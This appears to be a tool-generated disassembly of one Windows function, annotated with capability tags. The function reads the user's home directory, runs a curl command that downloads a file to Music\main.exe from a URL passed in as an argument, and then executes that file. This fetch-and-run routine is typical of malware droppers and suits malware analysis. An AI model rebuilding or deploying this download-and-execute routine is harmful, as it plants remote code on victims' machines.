Function at 0x401460
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e8
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x164]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
call sym._GetEnvironmentVariableA_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4014e6
cmp dword [ebp - 0xc], 0x104
jbe 0x401512
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_get_the_users_home_directory.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x401717
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x164]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.curl__o___s_Music_main.exe___s
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x60]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x50]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x364]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
je 0x4016f0
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x3b8], 0x44
mov dword [ebp - 0x38c], 1
mov word [ebp - 0x388], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x374]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x3b8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.main.exe
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
je 0x4016c7
mov eax, dword [ebp - 0x374]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x374]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401717
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_create_process.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x401717
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_execute_curl_command.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
leave
ret